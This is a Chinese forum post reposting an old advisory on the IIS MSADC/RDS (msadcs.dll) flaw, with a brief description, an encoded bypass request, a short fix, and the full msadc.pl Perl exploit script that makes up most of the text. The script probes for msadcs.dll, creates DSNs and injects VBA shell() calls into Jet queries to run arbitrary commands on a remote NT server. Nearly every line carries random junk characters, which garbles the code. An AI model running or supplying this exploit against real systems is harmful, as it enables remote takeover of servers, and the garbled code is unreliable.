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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) +DefV,Ny  
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涉及程序: >#S}J LZ  
Microsoft NT server 7|Wst)_~j  
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描述: D=D.s)ns*  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 $@^\zg1n  
w0yzC0yBk  
详细: Xe`$SNM  
如果你没有时间读详细内容的话,就删除: ^f(El(w  
c:\Program Files\Common Files\System\Msadc\msadcs.dll K4|fmgcy.  
有关的安全问题就没有了。 ebL0cK?  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 &,Rye Q  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 i 28TH Jh  
关于利用ODBC远程漏洞的描述,请参看: K",Xe>  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm rOUQg_y  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 F!I9)PSj  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp (?T{^Hg  
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这里不再论述。 &C9)%5 O)  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: %qrUP\rn  
GX.a!XQ@!  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 1"<{_&d1  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! meap;p  
S n~P1C  
~S :8M<aB  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ]5j>O^c<  
}HbUB$5  
#!perl `5x0p a  
# Xk/:a}-l  
# MSADC/RDS 'usage' (aka exploit) script +-V4:@  
# )P+<=8@a  
# by rain.forest.puppy #MMp0  
# R5},E  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me O#8lJ%?  
# beta test and find errors! CAA 3-"Cwi  
Y!(w.G  
use Socket; use Getopt::Std; IY}GU 2#  
getopts("e:vd:h:XR", \%args); %6V=G5+W  
3-0jxx(  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; b9b`%9/L  
: IsJE6r  
if (!defined $args{h} && !defined $args{R}) { >*l2]3' `  
print qq~ 7Y 4D9pw  
Usage: msadc.pl -h <host> { -d <delay> -X -v } V+|$H h8  
-h <host> = host you want to scan (ip or domain) ]P^ 3uXi  
-d <seconds> = delay between calls, default 1 second pZc`!f"  
-X = dump Index Server path table, if available PCBV6Y7r  
-v = verbose - ikq#L){  
-e = external dictionary file for step 5 :de4Fje/4y  
WdJeh:h  
Or a -R will resume a command session ?WS.RBe2  
0!axAvBV  
~; exit;} [>Zg6q|  
$['`H)z  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; %N7G>_+  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ady SwB  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 7=wQ#bq"1P  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); #aP;a-Q|k  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Ym-mfWo^#  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } !;k ^  
8-O: e  
if (!defined $args{R}){ $ret = &has_msadc; *TxR2pC}  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} d(Yuz#Qcrh  
M|.ykA<D  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" "zIQ(|TL?d  
. "cmd /c "; )4YtdAV  
$in=<STDIN>; chomp $in; `+Mva  
$command="cmd /c " . $in ; kZ^wc .  
q}"HxMJ  
if (defined $args{R}) {&load; exit;} BMU#pK;P]  
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; jlD3SF~2  
&try_btcustmr; r)G)i;;~*  
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print "\nStep 2: Trying to make our own DSN..."; |Y+[_D}  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ;O .;i,#Z  
c-?0~A  
print "\nStep 3: Trying known DSNs..."; _UF'Cf+Y  
&known_dsn; (b.Mtd  
T(kG"dz   
print "\nStep 4: Trying known .mdbs..."; /hGu42YG  
&known_mdb; 1eS@ihkP  
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if (defined $args{e}){ cyI:dvg  
print "\nStep 5: Trying dictionary of DSN names..."; WD 7T&i  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } g3(?!f  
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print "Sorry Charley...maybe next time?\n"; <ou=f'  
exit; f(-3d*g  
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############################################################################## O;#0Yg  
"[ >ql1t{b  
sub sendraw { # ripped and modded from whisker Op iVQr:  
sleep($delay); # it's a DoS on the server! At least on mine... H]0(GLvH  
my ($pstr)=@_;  ixF  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || [lj^lN8  
die("Socket problems\n"); lR]SGdY  
if(connect(S,pack "SnA4x8",2,80,$target)){ hl+ T  
select(S); $|=1; 1~*JenV-  
print $pstr; my @in=<S>; wA%,_s/U  
select(STDOUT); close(S); dM5N1$1,  
return @in; pA5X<)~   
} else { die("Can't connect...\n"); }} jpfFJon)w  
8{-bG8L> 5  
############################################################################## !R$t>X  
GYri\<[  
sub make_header { # make the HTTP request xC$CRzAe5p  
my $msadc=<<EOT %e=UYBj"  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 l]P3oB}Yo  
User-Agent: ACTIVEDATA *3y:Wv T>  
Host: $ip 1ZfhDtK(  
Content-Length: $clen @IBU{{  
Connection: Keep-Alive 1,sD'iNb  
}RkD7  
ADCClientVersion:01.06 x#tP)5n?s*  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Q"`J-#L  
^Pc&`1Ap  
--!ADM!ROX!YOUR!WORLD! Io)@u~yz  
Content-Type: application/x-varg tp+H]H3  
Content-Length: $reqlen [V,f@}m F  
</h}2x  
EOT z Q11dLjs  
; $msadc=~s/\n/\r\n/g; +q~dS.  
return $msadc;} H:L<gv(rG  
qH*Fv:qnM  
############################################################################## ^:m7Qd?Z[  
\;Q:a /ur9  
sub make_req { # make the RDS request G~\=:d=^,`  
my ($switch, $p1, $p2)=@_; (fnp\j3w  
my $req=""; my $t1, $t2, $query, $dsn; f.u+({"ql  
^ Hv4t   
if ($switch==1){ # this is the btcustmr.mdb query _i1x\Z~ N  
$query="Select * from Customers where City=" . make_shell(); kT{d pGU9  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . +C9 l7 q  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} G(7WUMjl  
HY'-P&H5(  
elsif ($switch==2){ # this is general make table query q*K.e5"'  
$query="create table AZZ (B int, C varchar(10))"; Z|$OPMLX  
$dsn="$p1";} }JBLzk5|  
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elsif ($switch==3){ # this is general exploit table query ^y&sKO  
$query="select * from AZZ where C=" . make_shell(); X\LiV{c  
$dsn="$p1";} | D,->k  
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elsif ($switch==4){ # attempt to hork file info from index server 1mz72K  
$query="select path from scope()"; !5[5l!{x  
$dsn="Provider=MSIDXS;";} 2z0 27P-Q  
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elsif ($switch==5){ # bad query ."JtR  
$query="select"; =!|= Y@  
$dsn="$p1";} +d,Z_ 6F  
\TXCq@  
$t1= make_unicode($query); #x5?RHX56  
$t2= make_unicode($dsn); SpX6PwM  
$req = "\x02\x00\x03\x00"; Oi4tG&q  
$req.= "\x08\x00" . pack ("S1", length($t1)); 6.g k6  
$req.= "\x00\x00" . $t1 ; dgM@|&9*m  
$req.= "\x08\x00" . pack ("S1", length($t2)); *4|]=yPU  
$req.= "\x00\x00" . $t2 ; _+2Jc}Yf  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; O0 ,=@nw8.  
return $req;} |4|j5<5  
`%S#XJU  
############################################################################## Vi_6O;  
* k ^?L  
sub make_shell { # this makes the shell() statement ua>YI  
return "'|shell(\"$command\")|'";} _G=k^f_  
H^C$2f  
############################################################################## ]<IK0  
$:SSm $k  
sub make_unicode { # quick little function to convert to unicode %/Y;  
my ($in)=@_; my $out; El#"vIg(\  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 3Ja1|;(2  
return $out;} rc+}KO  
-yP_S~ \n  
############################################################################## ._IBO;*@  
hTVA^j(w  
sub rdo_success { # checks for RDO return success (this is kludge) Z. G<'  
my (@in) = @_; my $base=content_start(@in); wxSJ  
if($in[$base]=~/multipart\/mixed/){ E+e:UBeUV  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Doc_rQYku  
return 0;} e.jbFSnA  
?."YP[;  
############################################################################## mJL=H  
|QB[f*y5  
sub make_dsn { # this makes a DSN for us .7|Iausv  
my @drives=("c","d","e","f"); %uy5la  
print "\nMaking DSN: "; C4^o= 6{  
foreach $drive (@drives) { 6#DDMP8;I  
print "$drive: "; 8rY[Q(]  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . {<1 ]cP  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" y$C\b\hM  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); $|%BaEyk  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; r>ca17  
return 0 if $2 eq "404"; # not found/doesn't exist #cy;((zuB  
if($2 eq "200") { NANgV~Y&  
foreach $line (@results) { k~=_]sLn  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} sw$$I~21  
} return 0;} Ty;P`Uv]r  
I$w:qS&:  
############################################################################## Iu|4QE  
X/' t1  
sub verify_exists { w=feXA3-S  
my ($page)=@_; EwKFT FL  
my @results=sendraw("GET $page HTTP/1.0\n\n"); {kNV|E  
return $results[0];} oK#UEn  
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############################################################################## B EB[K2[9  
!)$e+o^W  
sub try_btcustmr { 0S71&I$u]  
my @drives=("c","d","e","f"); G24 Ov&H  
my @dirs=("winnt","winnt35","winnt351","win","windows"); !$L~/<&0g  
FH7h?!|t  
foreach $dir (@dirs) { Cu&y',ee~  
print "$dir -> "; # fun status so you can see progress zVyMmw\  
foreach $drive (@drives) { C 5 xsh  
print "$drive: "; # ditto d !=AS  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; LZH~VkK@m}  
$reqlenlen=length( "$reqlen" ); {q1u[T&r  
$clen= 206 + $reqlenlen + $reqlen; ]L{diD 2G  
)]M,OMYq-  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); _-5|"oJ  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ]CxD m  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} zSo(+D &[  
o4F(X0  
############################################################################## ALXie86a8  
&ku.Q3xGs  
sub odbc_error { +nU=)x?38  
my (@in)=@_; my $base; ~ NZC0&  
my $base = content_start(@in); IB\O[R$x  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this }NpN<C+  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; &\ $~  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; )wyC8`&-  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 13K|=6si  
return $in[$base+4].$in[$base+5].$in[$base+6];} It:,8  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; c.4WwzK  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . yB2}[1  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} l#bE_PD;  
hnBX enT6  
############################################################################## 7 F> a&r  
eY\w ?pT2  
sub verbose { nAaY5s0D  
my ($in)=@_; as3*49^9  
return if !$verbose; ;:obg/;uJ  
print STDOUT "\n$in\n";} jG["#5<?  
H[2W(q6  
############################################################################## %Hu?syo  
H;{IOBo  
sub save { IN7Cpg~9%  
my ($p1, $p2, $p3, $p4)=@_; B]u!BBjC  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ,{2= nb[  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; %sCG}? y  
close OUT;} sWv!ig_  
ke b.%cb=  
############################################################################## 9%Qlg4~<s  
V `7(75  
sub load { ~yiw{:\  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; _lrvK99  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); V@o#" gZ  
@p=<IN>; close(IN); {5 Sy=Y  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); oLIgj,k{*  
$target= inet_aton($ip) || die("inet_aton problems"); Zk~~`h  
print "Resuming to $ip ..."; EslHml#  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; N"8'=wB  
if($p[1]==1) { j: E3c\a  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; =z!/:M  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; @Y !Jm  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ek1<9" y  
if (rdo_success(@results)){print "Success!\n";} Q6;bORN  
else { print "failed\n"; verbose(odbc_error(@results));}} Y_nl9}&+C0  
elsif ($p[1]==3){ GB4^ 4Ajx  
if(run_query("$p[3]")){ sA2esA@C<o  
print "Success!\n";} else { print "failed\n"; }} W:>XXUU  
elsif ($p[1]==4){ yT|44 D2j  
if(run_query($drvst . "$p[3]")){ -% \LW1  
print "Success!\n"; } else { print "failed\n"; }} 0K4A0s_R`  
exit;} ^h!}jvqE  
4Z.Dz@.c(  
############################################################################## mJZB@m u?  
-QK- w>  
sub create_table { `Wd4d2aLG  
my ($in)=@_; wvRwb   
$reqlen=length( make_req(2,$in,"") ) - 28; .iYp9?t  
$reqlenlen=length( "$reqlen" ); 6TDa#k5v  
$clen= 206 + $reqlenlen + $reqlen; _B0C]u3D  
my @results=sendraw(make_header() . make_req(2,$in,"")); K-[;w$np0  
return 1 if rdo_success(@results); |7QSr!{_  
my $temp= odbc_error(@results); verbose($temp); bbT1p :RF  
return 1 if $temp=~/Table 'AZZ' already exists/; 0BQ{ZT-Kh  
return 0;} >i"WKd=  
\aN7[>R.Q  
############################################################################## *alifdp  
*k@D4F ruP  
sub known_dsn { QB3er]y0%  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go F^.~37= @  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", k)9+;bKQQ  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Irui{%T  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); %bS1$ v\n  
t;V^OGflv  
foreach $dSn (@dsns) { L7[f-cK2:  
print "."; gx8i|]  
next if (!is_access("DSN=$dSn")); Tvt(nWn(H1  
if(create_table("DSN=$dSn")){ 5Od&-~O  
print "$dSn successful\n"; t;`ULp~&  
if(run_query("DSN=$dSn")){ /ke[nr  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { mt~E&Z(A  
print "Something's borked. Use verbose next time\n";}}} print "\n";} E24j(>   
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############################################################################## YJ|U| [  
p8FXlTk  
sub is_access { "}vxHN#  
my ($in)=@_; 4~1lP&  
$reqlen=length( make_req(5,$in,"") ) - 28; @z^7*#vQv  
$reqlenlen=length( "$reqlen" ); ~G1B}c]  
$clen= 206 + $reqlenlen + $reqlen; KL./  
my @results=sendraw(make_header() . make_req(5,$in,"")); |K" nSXzk  
my $temp= odbc_error(@results); 2 fg P  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); p-xG&CU  
return 0;} (/FG#D.  
]=PkgOJD  
############################################################################## h>F"GR?U_(  
q4v:s   
sub run_query { Rg^ps  
my ($in)=@_; ;iW>i8  
$reqlen=length( make_req(3,$in,"") ) - 28; hj}PL  
$reqlenlen=length( "$reqlen" ); OF2 W UcQ  
$clen= 206 + $reqlenlen + $reqlen; ^*w}+tB  
my @results=sendraw(make_header() . make_req(3,$in,"")); "T*1C=  
return 1 if rdo_success(@results); sX-@ >%l  
my $temp= odbc_error(@results); verbose($temp); 3m$ck$  
return 0;} axOEL:-|Bu  
uPxJwWXO  
############################################################################## G[6i\Et   
7Ck3L6J#  
sub known_mdb { ZQ>Q=eCs 1  
my @drives=("c","d","e","f","g"); 9Y@ eXP  
my @dirs=("winnt","winnt35","winnt351","win","windows"); B#?rW*yEe  
my $dir, $drive, $mdb; 'S|7<<>4k  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; +,cd$,18  
ra2{8 x  
# this is sparse, because I don't know of many zI\+]U'  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ksTK'7*  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 4)8e0L*[B?  
"\\system32\\certmdb.mdb", HYL['B?Wid  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 8/T,{J\  
SSq4KFO1  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", T0~~0G)k  
"\\cfusion\\cfapps\\forums\\forums_.mdb", @1xIph<z  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", pXvys] @  
"\\cfusion\\cfapps\\security\\realm_.mdb", TV#>x!5!d  
"\\cfusion\\cfapps\\security\\data\\realm.mdb",  Q7-iy  
"\\cfusion\\database\\cfexamples.mdb", _z J /z  
"\\cfusion\\database\\cfsnippets.mdb", _90<*{bt.  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", nM ?Nf}  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Lz!JLiMEET  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ~FQHT?DAo  
"\\cfusion\\database\\smpolicy.mdb", #d06wYz=  
"\\cfusion\\database\cypress.mdb", 1wm`a  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 9 4^b"hU  
"\\website\\cgi-win\\dbsample.mdb", 8]oolA:^4s  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", "0,FB4L[U5  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" c2Exga_  
); #these are just ) iZU\2L  
foreach $drive (@drives) { c&N;r|N  
foreach $dir (@dirs){ {> <1K6t  
foreach $mdb (@sysmdbs) { 7XLqP  
print "."; rxqSi0p  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ .6C6ZUB;  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 8&nb@l  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 3,K\ZUU.,  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; A7,%'.k  
} else { print "Something's borked. Use verbose next time\n"; }}}}} BzS\p3&  
O=*,  
foreach $drive (@drives) { .YWkFTlZ+  
foreach $mdb (@mdbs) { |rG)Q0H,  
print "."; !dUdz7  
if(create_table($drv . $drive . $dir . $mdb)){ EeT 69o  
print "\n" . $drive . $dir . $mdb . " successful\n"; H^54o$5  
if(run_query($drv . $drive . $dir . $mdb)){ KVh#"]<WV  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; {bR2S&=OmK  
} else { print "Something's borked. Use verbose next time\n"; }}}} N&eo;Ti  
} _RUL$Ds  
`6lOqH  
############################################################################## ^G2M4+W|  
SM%/pu;  
sub hork_idx { D.Cn`O}  
print "\nAttempting to dump Index Server tables...\n"; 6yO5{._M  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ~( 0bqt3c  
$reqlen=length( make_req(4,"","") ) - 28; u{h67N  
$reqlenlen=length( "$reqlen" ); znSlSQpTv  
$clen= 206 + $reqlenlen + $reqlen; I$p1^8~L  
my @results=sendraw2(make_header() . make_req(4,"","")); <QO1Yg7}  
if (rdo_success(@results)){ ;]b4O4C\  
my $max=@results; my $c; my %d; TLp2a<Iy  
for($c=19; $c<$max; $c++){ a DXaQ  
$results[$c]=~s/\x00//g; O!^ >YvOh  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; KeRC8mYp  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; xm1'  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; K~2sX>l  
$d{"$1$2"}="";} j*[P\Cm  
foreach $c (keys %d){ print "$c\n"; } v+[S${  
} else {print "Index server doesn't seem to be installed.\n"; }} !>D[Y  
ZNM9@;7  
############################################################################## |TP,   
^,mN-.W  
sub dsn_dict { WG@3+R>{  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); MnZljB  
while(<IN>){ /H"fycZ  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; )Tp"l"(G  
next if (!is_access("DSN=$dSn")); F'sX ^/;  
if(create_table("DSN=$dSn")){ ]uMZvAjb  
print "$dSn successful\n"; Yh!=mW!OY  
if(run_query("DSN=$dSn")){ Shn=Q  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { B :S8{  
print "Something's borked. Use verbose next time\n";}}} Rd5-ao4  
print "\n"; close(IN);} #z _<{' P"  
Kw$@_~BJ6  
############################################################################## \Vroz=IT:  
X7AxI\h  
sub sendraw2 { # ripped and modded from whisker WcoA)we  
sleep($delay); # it's a DoS on the server! At least on mine... M_Q`9  
my ($pstr)=@_; ZSW@,Ti  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || P+ CdqOL  
die("Socket problems\n"); Maq`Or|4  
if(connect(S,pack "SnA4x8",2,80,$target)){ *4NY"EwjN  
print "Connected. Getting data"; gzn:]Y^  
open(OUT,">raw.out"); my @in; m;\nMdn  
select(S); $|=1; print $pstr; @TD=or .&  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 4w=v /WDo  
close(OUT); select(STDOUT); close(S); return @in; ?jUgDwc(w  
} else { die("Can't connect...\n"); }} h@\-]zN{  
{:*G/*1[.  
############################################################################## ej@4jpHQN  
ib#rT{e  
sub content_start { # this will take in the server headers }e/vKW fT  
my (@in)=@_; my $c; `4snTM!v&  
for ($c=1;$c<500;$c++) { 2>o^@4PnZ  
if($in[$c] =~/^\x0d\x0a/){ nDO7  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }  6?*Do  
else { return $c+1; }}} 0kj5r*qA  
return -1;} # it should never get here actually ,[6Rmsk  
)W>$_QxbN  
############################################################################## T#i;=NP"  
x {Utf$|  
sub funky {  nOd;Zw  
my (@in)=@_; my $error=odbc_error(@in); H"(#Tp ZTE  
if($error=~/ADO could not find the specified provider/){ O8b#'f~  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; cW_wIy\]&  
exit;} i%.k{MY  
if($error=~/A Handler is required/){ bf+C=A)s0  
print "\nServer has custom handler filters (they most likely are patched)\n"; ymqv@Byi8A  
exit;} %K')_NS@  
if($error=~/specified Handler has denied Access/){ n44 T4q  
print "\nServer has custom handler filters (they most likely are patched)\n"; Yj>4*C9  
exit;}} a>W++8t1 ;  
Md@x2Ja  
############################################################################## S|)atJJ0G"  
BYMdX J  
sub has_msadc { *#b e  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); @vyEN.K%mm  
my $base=content_start(@results); 8 yi#] 5`Q  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); d/j?.\  
return 0;} >'W,8F  
R:&y@/JY8[  
######################## ]xMZo){[|  
{6h 1  
~cSXBc,+  
解决方案: 3^% 2,  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ,7bhUE/VB  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ut\ X{.r7  
}Vob)r{R@  
拿出来充数 哈哈
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